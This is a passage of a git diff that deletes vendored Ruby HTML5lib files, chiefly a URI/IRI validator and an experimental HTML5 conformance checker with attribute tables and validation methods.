-URN = Regexp.new("^[Uu][Rr][Nn]:[a-zA-Z0-9][a-zA-Z0-9-]{1,31}:([a-zA-Z0-9()+,\.:=@;$_!*'\-]|%[0-9A-Fa-f]{2})+$")
-TAG = Regexp.new("^tag:([a-z0-9\\-\._]+?@)?[a-z0-9\.\-]+?,\d{4}(-\d{2}(-\d{2})?)?:[0-9a-zA-Z;/\?:@&=+$\.\-_!~*'\(\)%,]*(#[0-9a-zA-Z;/\?:@&=+$\.\-_!~*'\(\)%,]*)?$")
-
-def is_valid_uri(value, uri_pattern = RFC2396)
-  scheme = value.split(':').first
-  scheme.downcase! if scheme
-  if scheme == 'tag'
-    if !TAG.match(value)
-      return false, "invalid-tag-uri"
-    end
-  elsif scheme == "urn"
-    if !URN.match(value)
-      return false, "invalid-urn"
-    end
-  elsif uri_pattern.match(value).to_a.reject{|i| i == ''}.compact.length == 0 || uri_pattern.match(value)[0] != value
-    urichars = Regexp.new("^[0-9a-zA-Z;/?:@&=+$\\.\\-_!~*'()%,#]$", Regexp::MULTILINE)
-    if value.length > 0
-      value.each_byte do |b|
-        if b < 128 and !urichars.match([b].pack('c*'))
-          return false, "invalid-uri-char"
-        end
-      end
-    else
-      begin
-        if uri_pattern.match(value.encode('idna'))
-          return false, "uri-not-iri"
-        end
-      rescue
-      end
-      return false, "invalid-uri"
-    end
-  elsif ['http','ftp'].include?(scheme)
-    if !value.match(%r{^\w+://[^/].*})
-      return false, "invalid-http-or-ftp-uri"
-    end
-  elsif value.index(':') && scheme.match(/^[a-z]+$/) && !ALLOWED_SCHEMES.include?(scheme)
-    return false, "invalid-scheme"
-  end
-  return true, ""
-end
-
-def is_valid_iri(value)
-  begin
-    if value.length > 0
-      value = value.encode('idna')
-    end
-  rescue
-  end
-  is_valid_uri(value)
-end
-
-def is_valid_fully_qualified_uri(value)
-  is_valid_uri(value, rfc2396_full)
-end
diff --git a/attic/vendor/plugins/HTML5lib/lib/html5/filters/sanitizer.rb b/attic/vendor/plugins/HTML5lib/lib/html5/filters/sanitizer.rb
deleted file mode 100644
index 8e25f594..00000000
--- a/attic/vendor/plugins/HTML5lib/lib/html5/filters/sanitizer.rb
+++ /dev/null
@@ -1,15 +0,0 @@
-require 'html5/filters/base'
-require 'html5/sanitizer'
-
-module HTML5
-  module Filters
-    class HTMLSanitizeFilter < Base
-      include HTMLSanitizeModule
-      def each
-        __getobj__.each do |token|
-          yield(sanitize_token(token))
-        end
-      end
-    end
-  end
-end
diff --git a/attic/vendor/plugins/HTML5lib/lib/html5/filters/validator.rb b/attic/vendor/plugins/HTML5lib/lib/html5/filters/validator.rb
deleted file mode 100755
index 99e67baa..00000000
--- a/attic/vendor/plugins/HTML5lib/lib/html5/filters/validator.rb
+++ /dev/null
@@ -1,830 +0,0 @@
-# HTML 5 conformance checker
-# 
-# Warning: this module is experimental, incomplete, and subject to removal at any time.
-# 
-# Usage:
-# >>> from html5lib.html5parser import HTMLParser
-# >>> from html5lib.filters.validator import HTMLConformanceChecker
-# >>> p = HTMLParser(tokenizer=HTMLConformanceChecker)
-# >>> p.parse('<!doctype html>\n<html foo=bar></html>')
-# <<class 'html5lib.treebuilders.simpletree.Document'> nil>
-# >>> p.errors
-# [((2, 14), 'unknown-attribute', {'attributeName' => u'foo', 'tagName' => u'html'})]
-
-require 'html5/constants'
-require 'html5/filters/base'
-require 'html5/filters/iso639codes'
-require 'html5/filters/rfc3987'
-require 'html5/filters/rfc2046'
-
-def _(str); str; end
-
-class String
-  # lifted from rails
-  def underscore()
-     self.gsub(/::/, '/').
-       gsub(/([A-Z]+)([A-Z][a-z])/,'\1_\2').
-       gsub(/([a-z\d])([A-Z])/,'\1_\2').
-       tr("-", "_").
-       downcase
-   end
-end
-
-HTML5::E.update({
-  "unknown-start-tag" =>
-    _("Unknown start tag <%(tagName)>."),
-  "unknown-attribute" =>
-    _("Unknown '%(attributeName)' attribute on <%(tagName)>."),
-  "missing-required-attribute" =>
-    _("The '%(attributeName)' attribute is required on <%(tagName)>."),
-  "unknown-input-type" =>
-    _("Illegal value for attribute on <input type='%(inputType)'>."),
-  "attribute-not-allowed-on-this-input-type" =>
-    _("The '%(attributeName)' attribute is not allowed on <input type=%(inputType)>."),
-  "deprecated-attribute" =>
-    _("This attribute is deprecated: '%(attributeName)' attribute on <%(tagName)>."),
-  "duplicate-value-in-token-list" =>
-    _("Duplicate value in token list: '%(attributeValue)' in '%(attributeName)' attribute on <%(tagName)>."),
-  "invalid-attribute-value" =>
-    _("Invalid attribute value: '%(attributeName)' attribute on <%(tagName)>."),
-  "space-in-id" =>
-    _("Whitespace is not allowed here: '%(attributeName)' attribute on <%(tagName)>."),
-  "duplicate-id" =>
-    _("This ID was already defined earlier: 'id' attribute on <%(tagName)>."),
-  "attribute-value-can-not-be-blank" =>
-    _("This value can not be blank: '%(attributeName)' attribute on <%(tagName)>."),
-  "id-does-not-exist" =>
-    _("This value refers to a non-existent ID: '%(attributeName)' attribute on <%(tagName)>."),
-  "invalid-enumerated-value" =>
-    _("Value must be one of %(enumeratedValues): '%(attributeName)' attribute on <%tagName)>."),
-  "invalid-boolean-value" =>
-    _("Value must be one of %(enumeratedValues): '%(attributeName)' attribute on <%tagName)>."),
-  "contextmenu-must-point-to-menu" =>
-    _("The contextmenu attribute must point to an ID defined on a <menu> element."),
-  "invalid-lang-code" =>
-    _("Invalid language code: '%(attributeName)' attibute on <%(tagName)>."),
-  "invalid-integer-value" =>
-    _("Value must be an integer: '%(attributeName)' attribute on <%tagName)>."),
-  "invalid-root-namespace" =>
-    _("Root namespace must be 'http://www.w3.org/1999/xhtml', or omitted."),
-  "invalid-browsing-context" =>
-    _("Value must be one of ('_self', '_parent', '_top'), or a name that does not start with '_' => '%(attributeName)' attribute on <%(tagName)>."),
-  "invalid-tag-uri" =>
-    _("Invalid URI: '%(attributeName)' attribute on <%(tagName)>."),
-  "invalid-urn" =>
-    _("Invalid URN: '%(attributeName)' attribute on <%(tagName)>."),
-  "invalid-uri-char" =>
-    _("Illegal character in URI: '%(attributeName)' attribute on <%(tagName)>."),
-  "uri-not-iri" =>
-    _("Expected a URI but found an IRI: '%(attributeName)' attribute on <%(tagName)>."),
-  "invalid-uri" =>
-    _("Invalid URI: '%(attributeName)' attribute on <%(tagName)>."),
-  "invalid-http-or-ftp-uri" =>
-    _("Invalid URI: '%(attributeName)' attribute on <%(tagName)>."),
-  "invalid-scheme" =>
-    _("Unregistered URI scheme: '%(attributeName)' attribute on <%(tagName)>."),
-  "invalid-rel" =>
-    _("Invalid link relation: '%(attributeName)' attribute on <%(tagName)>."),
-  "invalid-mime-type" =>
-    _("Invalid MIME type: '%(attributeName)' attribute on <%(tagName)>."),
-})
-
-
-class HTMLConformanceChecker < HTML5::Filters::Base
-
-  @@global_attributes = %w[class contenteditable contextmenu dir
-    draggable id irrelevant lang ref tabindex template
-    title onabort onbeforeunload onblur onchange onclick
-    oncontextmenu ondblclick ondrag ondragend ondragenter
-    ondragleave ondragover ondragstart ondrop onerror
-    onfocus onkeydown onkeypress onkeyup onload onmessage
-    onmousedown onmousemove onmouseout onmouseover onmouseup
-    onmousewheel onresize onscroll onselect onsubmit onunload]
-  # XXX lang in HTML only, xml:lang in XHTML only
-  # XXX validate ref, template
-
-  @@allowed_attribute_map = {
-    'html'         => %w[xmlns],
-    'head'         => [],
-    'title'        => [],
-    'base'         => %w[href target],
-    'link'         => %w[href rel media hreflang type],
-    'meta'         => %w[name http-equiv content charset], # XXX charset in HTML only
-    'style'        => %w[media type scoped],
-    'body'         => [],
-    'section'      => [],
-    'nav'          => [],
-    'article'      => [],
-    'blockquote'   => %w[cite],
-    'aside'        => [],
-    'h1'           => [],
-    'h2'           => [],
-    'h3'           => [],
-    'h4'           => [],
-    'h5'           => [],
-    'h6'           => [],
-    'header'       => [],
-    'footer'       => [],
-    'address'      => [],
-    'p'            => [],
-    'hr'           => [],
-    'br'           => [],
-    'dialog'       => [],
-    'pre'          => [],
-    'ol'           => %w[start],
-    'ul'           => [],
-    'li'           => %w[value], # XXX depends on parent
-    'dl'           => [],
-    'dt'           => [],
-    'dd'           => [],
-    'a'            => %w[href target ping rel media hreflang type],
-    'q'            => %w[cite],
-    'cite'         => [],
-    'em'           => [],
-    'strong'       => [],
-    'small'        => [],
-    'm'            => [],
-    'dfn'          => [],
-    'abbr'         => [],
-    'time'         => %w[datetime],
-    'meter'        => %w[value min low high max optimum],
-    'progress'     => %w[value max],
-    'code'         => [],
-    'var'          => [],
-    'samp'         => [],
-    'kbd'          => [],
-    'sup'          => [],
-    'sub'          => [],
-    'span'         => [],
-    'i'            => [],
-    'b'            => [],
-    'bdo'          => [],
-    'ins'          => %w[cite datetime],
-    'del'          => %w[cite datetime],
-    'figure'       => [],
-    'img'          => %w[alt src usemap ismap height width], # XXX ismap depends on parent
-    'iframe'       => %w[src],
-    # <embed> handled separately
-    'object'       => %w[data type usemap height width],
-    'param'        => %w[name value],
-    'video'        => %w[src autoplay start loopstart loopend end loopcount controls],
-    'audio'        => %w[src autoplay start loopstart loopend end loopcount controls],
-    'source'       => %w[src type media],
-    'canvas'       => %w[height width],
-    'map'          => [],
-    'area'         => %w[alt coords shape href target ping rel media hreflang type],
-    'table'        => [],
-    'caption'      => [],
-    'colgroup'     => %w[span], # XXX only if element contains no <col> elements
-    'col'          => %w[span],
-    'tbody'        => [],
-    'thead'        => [],
-    'tfoot'        => [],
-    'tr'           => [],
-    'td'           => %w[colspan rowspan],
-    'th'           => %w[colspan rowspan scope],
-    # all possible <input> attributes are listed here but <input> is really handled separately
-    'input'        => %w[accept accesskey action alt autocomplete autofocus checked
-                         disabled enctype form inputmode list maxlength method min 
-                         max name pattern step readonly replace required size src
-                         tabindex target template value
-    ],
-    'form'         => %w[action method enctype accept name onsubmit onreset accept-charset
-                         data replace
-    ],
-    'button'       => %w[action enctype method replace template name value type disabled form autofocus], # XXX may need matrix of acceptable attributes based on value of type attribute (like input)
-    'select'       => %w[name size multiple disabled data accesskey form autofocus],
-    'optgroup'     => %w[disabled label],
-    'option'       => %w[selected disabled label value],
-    'textarea'     => %w[maxlength name rows cols disabled readonly required form autofocus wrap accept],
-    'label'        => %w[for accesskey form],
-    'fieldset'     => %w[disabled form],
-    'output'       => %w[form name for onforminput onformchange],
-    'datalist'     => %w[data],
-     # XXX repetition model for repeating form controls
-    'script'       => %w[src defer async type],
-    'noscript'     => [],
-    'noembed'      => [],
-    'event-source' => %w[src],
-    'details'      => %w[open],
-    'datagrid'     => %w[multiple disabled],
-    'command'      => %w[type label icon hidden disabled checked radiogroup default],
-    'menu'         => %w[type label autosubmit],
-    'datatemplate' => [],
-    'rule'         => [],
-    'nest'         => [],
-    'legend'       => [],
-    'div'          => [],
-    'font'         => %w[style]
-  }
-
-  @@required_attribute_map = {
-    'link'   => %w[href rel],
-    'bdo'    => %w[dir],
-    'img'    => %w[src],
-    'embed'  => %w[src],
-    'object' => [], # XXX one of 'data' or 'type' is required
-    'param'  => %w[name value],
-    'source' => %w[src],
-    'map'    => %w[id]
-  }
-
-  @@input_type_allowed_attribute_map = {
-    'text'           => %w[accesskey autocomplete autofocus disabled form inputmode list maxlength name pattern readonly required size tabindex value],
-    'password'       => %w[accesskey autocomplete autofocus disabled form inputmode maxlength name pattern readonly required size tabindex value],
-    'checkbox'       => %w[accesskey autofocus checked disabled form name required tabindex value],
-    'radio'          => %w[accesskey autofocus checked disabled form name required tabindex value],
-    'button'         => %w[accesskey autofocus disabled form name tabindex value],
-    'submit'         => %w[accesskey action autofocus disabled enctype form method name replace tabindex target value],
-    'reset'          => %w[accesskey autofocus disabled form name tabindex value],
-    'add'            => %w[accesskey autofocus disabled form name tabindex template value],
-    'remove'         => %w[accesskey autofocus disabled form name tabindex value],
-    'move-up'        => %w[accesskey autofocus disabled form name tabindex value],
-    'move-down'      => %w[accesskey autofocus disabled form name tabindex value],
-    'file'           => %w[accept accesskey autofocus disabled form min max name required tabindex],
-    'hidden'         => %w[disabled form name value],
-    'image'          => %w[accesskey action alt autofocus disabled enctype form method name replace src tabindex target],
-    'datetime'       => %w[accesskey autocomplete autofocus disabled form list min max name step readonly required tabindex value],
-    'datetime-local' => %w[accesskey autocomplete autofocus disabled form list min max name step readonly required tabindex value],
-    'date'           => %w[accesskey autocomplete autofocus disabled form list min max name step readonly required tabindex value],
-    'month'          => %w[accesskey autocomplete autofocus disabled form list min max name step readonly required tabindex value],
-    'week'           => %w[accesskey autocomplete autofocus disabled form list min max name step readonly required tabindex value],
-    'time'           => %w[accesskey autocomplete autofocus disabled form list min max name step readonly required tabindex value],
-    'number'         => %w[accesskey autocomplete autofocus disabled form list min max name step readonly required tabindex value],
-    'range'          => %w[accesskey autocomplete autofocus disabled form list min max name step readonly required tabindex value],
-    'email'          => %w[accesskey autocomplete autofocus disabled form inputmode list maxlength name pattern readonly required tabindex value],
-    'url'            => %w[accesskey autocomplete autofocus disabled form inputmode list maxlength name pattern readonly required tabindex value],
-  }
-
-  @@input_type_deprecated_attribute_map = {
-    'text'     => ['size'],
-    'password' => ['size']
-  }
-
-  @@link_rel_values = %w[alternate archive archives author contact feed first begin start help icon index top contents toc last end license copyright next pingback prefetch prev previous search stylesheet sidebar tag up]
-  @@a_rel_values    = %w[alternate archive archives author contact feed first begin start help index top contents toc last end license copyright next prev previous search sidebar tag up bookmark external nofollow]
-
-  def initialize(stream, *args)
-    super(HTML5::HTMLTokenizer.new(stream, *args))
-    @things_that_define_an_id    = []
-    @things_that_point_to_an_id  = []
-    @ids_we_have_known_and_loved = []
-  end
-  
-  def each
-    __getobj__.each do |token|
-      method = "validate_#{token.fetch(:type, '-').to_s.underscore}_#{token.fetch(:name, '-').to_s.underscore}"
-      if respond_to?(method)
-        send(method, token){|t| yield t }
-      else
-        method = "validate_#{token.fetch(:type, '-').to_s.underscore}"
-        if respond_to?(method)
-          send(method, token) do |t|
-            yield t
-          end
-        end
-      end
-      yield token
-    end
-    eof do |t|
-      yield t
-    end
-  end
-
-  ##########################################################################
-  # Start tag validation
-  ##########################################################################
-
-  def validate_start_tag(token)
-    check_unknown_start_tag(token){|t| yield t}
-    check_start_tag_required_attributes(token) do |t|
-      yield t
-    end
-    check_start_tag_unknown_attributes(token) do |t|
-      yield t
-    end
-    check_attribute_values(token) do |t|
-      yield t
-    end
-  end
-
-  def validate_start_tag_embed(token)
-    check_start_tag_required_attributes(token) do |t|
-      yield t
-    end
-    check_attribute_values(token) do |t|
-      yield t
-    end
-    # spec says "any attributes w/o namespace"
-    # so don't call check_start_tag_unknown_attributes
-  end
-
-  def validate_start_tag_input(token)
-    check_attribute_values(token) do |t|
-      yield t
-    end
-    attr_dict = Hash[*token[:data].collect{|(name, value)| [name.downcase, value]}.flatten]
-    input_type = attr_dict.fetch('type', "text")
-    if !@@input_type_allowed_attribute_map.keys().include?(input_type)
-      yield({:type => "ParseError",
-           :data => "unknown-input-type",
-           :datavars => {:attrValue => input_type}})
-    end
-    allowed_attributes = @@input_type_allowed_attribute_map.fetch(input_type, [])
-    attr_dict.each do |attr_name, attr_value|
-      if !@@allowed_attribute_map['input'].include?(attr_name)
-        yield({:type => "ParseError",
-             :data => "unknown-attribute",
-             :datavars => {"tagName" => "input",
-                  "attributeName" => attr_name}})
-      elsif !allowed_attributes.include?(attr_name)
-        yield({:type => "ParseError",
-             :data => "attribute-not-allowed-on-this-input-type",
-             :datavars => {"attributeName" => attr_name,
-                  "inputType" => input_type}})
-      end
-      if @@input_type_deprecated_attribute_map.fetch(input_type, []).include?(attr_name)
-        yield({:type => "ParseError",
-             :data => "deprecated-attribute",
-             :datavars => {"attributeName" => attr_name,
-                  "inputType" => input_type}})
-      end
-    end
-  end
-
-  ##########################################################################
-  # Start tag validation helpers
-  ##########################################################################
-
-  def check_unknown_start_tag(token)
-    # check for recognized tag name
-    name = (token[:name] || "").downcase
-    if !@@allowed_attribute_map.keys.include?(name)
-      yield({:type => "ParseError",
-             :data => "unknown-start-tag",
-             :datavars => {"tagName" => name}})
-    end
-  end
-
-  def check_start_tag_required_attributes(token)
-    # check for presence of required attributes
-    name = (token[:name] || "").downcase
-    if @@required_attribute_map.keys().include?(name)
-      attrs_present = (token[:data] || []).collect{|t| t[0]}
-      for attr_name in @@required_attribute_map[name]
-        if !attrs_present.include?(attr_name)
-          yield( {:type => "ParseError",
-               :data => "missing-required-attribute",
-               :datavars => {"tagName" => name,
-                    "attributeName" => attr_name}})
-        end
-      end
-    end
-  end
-
-  def check_start_tag_unknown_attributes(token)
-    # check for recognized attribute names
-    name = token[:name].downcase
-    allowed_attributes = @@global_attributes | @@allowed_attribute_map.fetch(name, [])
-    for attr_name, attr_value in token.fetch(:data, [])
-      if !allowed_attributes.include?(attr_name.downcase())
-        yield( {:type => "ParseError",
-             :data => "unknown-attribute",
-             :datavars => {"tagName" => name,
-                  "attributeName" => attr_name}})
-      end
-    end
-  end
-
-  ##########################################################################
-  # Attribute validation helpers
-  ##########################################################################
-
-#  def checkURI(token, tag_name, attr_name, attr_value)
-#    is_valid, error_code = rfc3987.is_valid_uri(attr_value)
-#    if not is_valid
-#      yield {:type => "ParseError",
-#           :data => error_code,
-#           :datavars => {"tagName" => tag_name,
-#                "attributeName" => attr_name}}
-#      yield {:type => "ParseError",
-#           :data => "invalid-attribute-value",
-#           :datavars => {"tagName" => tag_name,
-#                "attributeName" => attr_name}}
-
-  def check_iri(token, tag_name, attr_name, attr_value)
-    is_valid, error_code = is_valid_iri(attr_value)
-    if !is_valid
-      yield({:type => "ParseError",
-             :data => error_code,
-             :datavars => {"tagName" => tag_name,
-                "attributeName" => attr_name}})
-      yield({:type => "ParseError",
-             :data => "invalid-attribute-value",
-             :datavars => {"tagName" => tag_name,
-                "attributeName" => attr_name}})
-    end
-  end
-
-  def check_id(token, tag_name, attr_name, attr_value)
-    if !attr_value || attr_value.length == 0
-      yield({:type => "ParseError",
-              :data => "attribute-value-can-not-be-blank",
-              :datavars => {"tagName" => tag_name,
-                "attributeName" => attr_name}})
-    end
-    attr_value.each_byte do |b|
-      c = [b].pack('c*')
-      if HTML5::SPACE_CHARACTERS.include?(c)
-        yield( {:type => "ParseError",
-             :data => "space-in-id",
-             :datavars => {"tagName" => tag_name,
-                  "attributeName" => attr_name}})
-        yield( {:type => "ParseError",
-             :data => "invalid-attribute-value",
-             :datavars => {"tagName" => tag_name,
-                  "attributeName" => attr_name}})
-        break
-      end
-    end
-  end
-
-  def parse_token_list(value)
-    valueList = []
-    currentValue = ''
-    (value + ' ').each_byte do |b|
-      c = [b].pack('c*')
-      if HTML5::SPACE_CHARACTERS.include?(c)
-        if currentValue.length > 0
-          valueList << currentValue
-          currentValue = ''
-        end
-      else
-        currentValue += c
-      end
-    end
-    if currentValue.length > 0
-      valueList << currentValue
-    end
-    valueList
-  end
-
-  def check_token_list(tag_name, attr_name, attr_value)
-    # The "token" in the method name refers to tokens in an attribute value
-    # i.e. http://www.whatwg.org/specs/web-apps/current-work/#set-of
-    # but the "token" parameter refers to the token generated from
-    # HTMLTokenizer.  Sorry for the confusion.
-    value_list = parse_token_list(attr_value)
-    value_dict = {}
-    for current_value in value_list
-      if value_dict.has_key?(current_value)
-        yield({:type => "ParseError",
-             :data => "duplicate-value-in-token-list",
-             :datavars => {"tagName" => tag_name,
-                  "attributeName" => attr_name,
-                  "attributeValue" => current_value}})
-        break
-      end
-      value_dict[current_value] = 1
-    end
-  end
-
-  def check_enumerated_value(token, tag_name, attr_name, attr_value, enumerated_values)
-    if !attr_value || attr_value.length == 0
-      yield( {:type => "ParseError",
-           :data => "attribute-value-can-not-be-blank",
-           :datavars => {"tagName" => tag_name,
-                "attributeName" => attr_name}})
-      return
-    end
-    attr_value.downcase!
-    if !enumerated_values.include?(attr_value)
-      yield( {:type => "ParseError",
-           :data => "invalid-enumerated-value",
-           :datavars => {"tagName" => tag_name,
-                "attribute_name" => attr_name,
-                "enumeratedValues" => enumerated_values}})
-      yield( {:type => "ParseError",
-           :data => "invalid-attribute-value",
-           :datavars => {"tagName" => tag_name,
-                "attributeName" => attr_name}})
-    end
-  end
-
-  def check_boolean(token, tag_name, attr_name, attr_value)
-    enumerated_values = [attr_name, '']
-    if !enumerated_values.include?(attr_value)
-      yield( {:type => "ParseError",
-           :data => "invalid-boolean-value",
-           :datavars => {"tagName" => tag_name,
-                "attributeName" => attr_name,
-                "enumeratedValues" => enumerated_values}})
-      yield( {:type => "ParseError",
-           :data => "invalid-attribute-value",
-           :datavars => {"tagName" => tag_name,
-                "attributeName" => attr_name}})
-    end
-  end
-
-  def check_integer(token, tag_name, attr_name, attr_value)
-    sign = 1
-    number_string = ''
-    state = 'begin' # ('begin', 'initial-number', 'number', 'trailing-junk')
-    error = {:type => "ParseError",
-         :data => "invalid-integer-value",
-         :datavars => {"tagName" => tag_name,
-                "attributeName" => attr_name,
-                "attributeValue" => attr_value}}
-    attr_value.scan(/./) do |c|
-      if state == 'begin'
-        if HTML5::SPACE_CHARACTERS.include?(c)
-          next
-        elsif c == '-'
-          sign  = -1
-          state = 'initial-number'
-        elsif HTML5::DIGITS.include?(c)
-          number_string += c
-          state = 'in-number'
-        else
-          yield error
-          return
-        end
-      elsif state == 'initial-number'
-        if !HTML5::DIGITS.include?(c)
-          yield error
-          return
-        end
-        number_string += c
-        state = 'in-number'
-      elsif state == 'in-number'
-        if HTML5::DIGITS.include?(c)
-          number_string += c
-        else
-          state = 'trailing-junk'
-        end
-      elsif state == 'trailing-junk'
-        next
-      end
-    end
-    if number_string.length == 0
-      yield( {:type => "ParseError",
-           :data => "attribute-value-can-not-be-blank",
-           :datavars => {"tagName" => tag_name,
-                "attributeName" => attr_name}})
-    end
-  end
-
-  def check_floating_point_number(token, tag_name, attr_name, attr_value)
-    # XXX
-  end
-
-  def check_browsing_context(token, tag_name, attr_name, attr_value)
-    return if not attr_value
-    return if attr_value[0] != ?_
-    attr_value.downcase!
-    return if ['_self', '_parent', '_top', '_blank'].include?(attr_value)
-    yield({:type => "ParseError",
-         :data => "invalid-browsing-context",
-         :datavars => {"tagName" => tag_name,
-              "attributeName" => attr_name}})
-  end
-
-  def check_lang_code(token, tag_name, attr_name, attr_value)
-    return if !attr_value || attr_value == '' # blank is OK
-    if not is_valid_lang_code(attr_value)
-      yield( {:type => "ParseError",
-           :data => "invalid-lang-code",
-           :datavars => {"tagName" => tag_name,
-                "attributeName" => attr_name,
-                "attributeValue" => attr_value}})
-    end
-  end
-  
-  def check_mime_type(token, tag_name, attr_name, attr_value)
-    # XXX needs tests
-    if not attr_value
-      yield( {:type => "ParseError",
-           :data => "attribute-value-can-not-be-blank",
-           :datavars => {"tagName" => tag_name,
-                "attributeName" => attr_name}})
-    end
-    if not is_valid_mime_type(attr_value)
-      yield( {:type => "ParseError",
-           :data => "invalid-mime-type",
-           :datavars => {"tagName" => tag_name,
-                "attributeName" => attr_name,
-                "attributeValue" => attr_value}})
-    end
-  end
-
-  def check_media_query(token, tag_name, attr_name, attr_value)
-    # XXX
-  end
-
-  def check_link_relation(token, tag_name, attr_name, attr_value)
-    check_token_list(tag_name, attr_name, attr_value) do |t|
-      yield t
-    end
-    value_list = parse_token_list(attr_value)
-    allowed_values = tag_name == 'link' ? @@link_rel_values : @@a_rel_values
-    for current_value in value_list
-      if !allowed_values.include?(current_value)
-        yield({:type => "ParseError",
-             :data => "invalid-rel",
-             :datavars => {"tagName" => tag_name,
-                  "attributeName" => attr_name}})
-      end
-    end
-  end
-
-  def check_date_time(token, tag_name, attr_name, attr_value)
-    # XXX
-    state = 'begin' # ('begin', '...
-#    for c in attr_value
-#      if state == 'begin' =>
-#        if SPACE_CHARACTERS.include?(c)
-#          continue
-#        elsif digits.include?(c)
-#          state = ...
-  end
-
-  ##########################################################################
-  # Attribute validation
-  ##########################################################################
-
-  def check_attribute_values(token)
-    tag_name = token.fetch(:name, "")
-    for attr_name, attr_value in token.fetch(:data, [])
-      attr_name = attr_name.downcase
-      method = "validate_attribute_value_#{tag_name.to_s.underscore}_#{attr_name.to_s.underscore}"
-      if respond_to?(method)
-        send(method, token, tag_name, attr_name, attr_value) do |t|
-          yield t
-        end
-      else
-        method = "validate_attribute_value_#{attr_name.to_s.underscore}"
-        if respond_to?(method)
-          send(method, token, tag_name, attr_name, attr_value) do |t|
-            yield t
-          end
-        end
-      end
-    end
-  end
-
-  def validate_attribute_value_class(token, tag_name, attr_name, attr_value)
-    check_token_list(tag_name, attr_name, attr_value) do |t|
-      yield t
-      yield( {:type => "ParseError",
-           :data => "invalid-attribute-value",
-           :datavars => {"tagName" => tag_name,
-                "attributeName" => attr_name}})
-    end
-  end
-
-  def validate_attribute_value_contenteditable(token, tag_name, attr_name, attr_value)
-    check_enumerated_value(token, tag_name, attr_name, attr_value, ['true', 'false', '']) do |t|
-      yield t
-    end
-  end
-
-  def validate_attribute_value_dir(token, tag_name, attr_name, attr_value)
-    check_enumerated_value(token, tag_name, attr_name, attr_value, ['ltr', 'rtl']) do |t|
-      yield t
-    end
-  end
-
-  def validate_attribute_value_draggable(token, tag_name, attr_name, attr_value)
-    check_enumerated_value(token, tag_name, attr_name, attr_value, ['true', 'false']) do |t|
-      yield t
-    end
-  end
-
-  alias validate_attribute_value_irrelevant check_boolean
-  alias validate_attribute_value_lang       check_lang_code
-
-  def validate_attribute_value_contextmenu(token, tag_name, attr_name, attr_value)
-    check_id(token, tag_name, attr_name, attr_value) do |t|
-      yield t
-    end
-    @things_that_point_to_an_id << token
-  end
-
-  def validate_attribute_value_id(token, tag_name, attr_name, attr_value)
-    # This method has side effects.  It adds 'token' to the list of
-    # things that define an ID (@things_that_define_an_id) so that we can
-    # later check 1) whether an ID is duplicated, and 2) whether all the
-    # things that point to something else by ID (like <label for> or
-    # <span contextmenu>) point to an ID that actually exists somewhere.
-    check_id(token, tag_name, attr_name, attr_value) do |t|
-      yield t
-    end
-    return if not attr_value
-    if @ids_we_have_known_and_loved.include?(attr_value)
-      yield( {:type => "ParseError",
-           :data => "duplicate-id",
-           :datavars => {"tagName" => tag_name}})
-    end
-    @ids_we_have_known_and_loved << attr_value
-    @things_that_define_an_id << token
-  end
-
-  alias validate_attribute_value_tabindex check_integer
-
-  def validate_attribute_value_ref(token, tag_name, attr_name, attr_value)
-    # XXX
-  end
-
-  def validate_attribute_value_template(token, tag_name, attr_name, attr_value)
-    # XXX
-  end
-
-  def validate_attribute_value_html_xmlns(token, tag_name, attr_name, attr_value)
-    if attr_value != "http://www.w3.org/1999/xhtml"
-      yield( {:type => "ParseError",
-           :data => "invalid-root-namespace",
-           :datavars => {"tagName" => tag_name,
-                "attributeName" => attr_name}})
-    end
-  end
-
-  alias validate_attribute_value_base_href       check_iri
-  alias validate_attribute_value_base_target     check_browsing_context
-  alias validate_attribute_value_link_href       check_iri
-  alias validate_attribute_value_link_rel        check_link_relation
-  alias validate_attribute_value_link_media      check_media_query
-  alias validate_attribute_value_link_hreflang   check_lang_code
-  alias validate_attribute_value_link_type       check_mime_type
-  # XXX <meta> attributes
-  alias validate_attribute_value_style_media     check_media_query
-  alias validate_attribute_value_style_type      check_mime_type
-  alias validate_attribute_value_style_scoped    check_boolean
-  alias validate_attribute_value_blockquote_cite check_iri
-  alias validate_attribute_value_ol_start        check_integer
-  alias validate_attribute_value_li_value        check_integer
-  # XXX need tests from here on
-  alias validate_attribute_value_a_href          check_iri
-  alias validate_attribute_value_a_target        check_browsing_context
-
-  def validate_attribute_value_a_ping(token, tag_name, attr_name, attr_value)
-    value_list = parse_token_list(attr_value)
-    for current_value in value_list
-      checkIRI(token, tag_name, attr_name, attr_value) do |t|
-        yield t
-      end
-    end
-  end
-
-  alias validate_attribute_value_a_rel           check_link_relation
-  alias validate_attribute_value_a_media         check_media_query
-  alias validate_attribute_value_a_hreflang      check_lang_code
-  alias validate_attribute_value_a_type          check_mime_type
-  alias validate_attribute_value_q_cite          check_iri
-  alias validate_attribute_value_time_datetime   check_date_time
-  alias validate_attribute_value_meter_value     check_floating_point_number
-  alias validate_attribute_value_meter_min       check_floating_point_number
-  alias validate_attribute_value_meter_low       check_floating_point_number
-  alias validate_attribute_value_meter_high      check_floating_point_number
-  alias validate_attribute_value_meter_max       check_floating_point_number
-  alias validate_attribute_value_meter_optimum   check_floating_point_number
-  alias validate_attribute_value_progress_value  check_floating_point_number
-  alias validate_attribute_value_progress_max    check_floating_point_number
-  alias validate_attribute_value_ins_cite        check_iri
-  alias validate_attribute_value_ins_datetime    check_date_time
-  alias validate_attribute_value_del_cite        check_iri
-  alias validate_attribute_value_del_datetime    check_date_time
-
-  ##########################################################################
-  # Whole document validation (IDs, etc.)
-  ##########################################################################
-
-  def eof
-    for token in @things_that_point_to_an_id
-      tag_name = token.fetch(:name, "").downcase
-      attrs_dict = token[:data] # by now html5parser has "normalized" the attrs list into a dict.
-                    # hooray for obscure side effects!
-      attr_value = attrs_dict.fetch("contextmenu", "")
-      if attr_value and (!@ids_we_have_known_and_loved.include?(attr_value))
-        yield( {:type => "ParseError",
-             :data => "id-does-not-exist",
-             :datavars => {"tagName" => tag_name,
-                  "attributeName" => "contextmenu",
-                  "attributeValue" => attr_value}})
-      else
-        for ref_token in @things_that_define_an_id
-          id = ref_token.fetch(:data, {}).fetch("id", "")
-          if not id
-            continue
-          end
-          if id == attr_value
-            if ref_token.fetch(:name, "").downcase != "men"
-              yield( {:type => "ParseError",
-                   :data => "contextmenu-must-point-to-menu"})
-            end
-            break
-          end
-        end
-      end
-    end
-  end
-end
diff --git a/attic/vendor/plugins/HTML5lib/lib/html5/filters/whitespace.rb b/attic/vendor/plugins/HTML5lib/lib/html5/filters/whitespace.rb
deleted file mode 100644
index 18b07b59..00000000
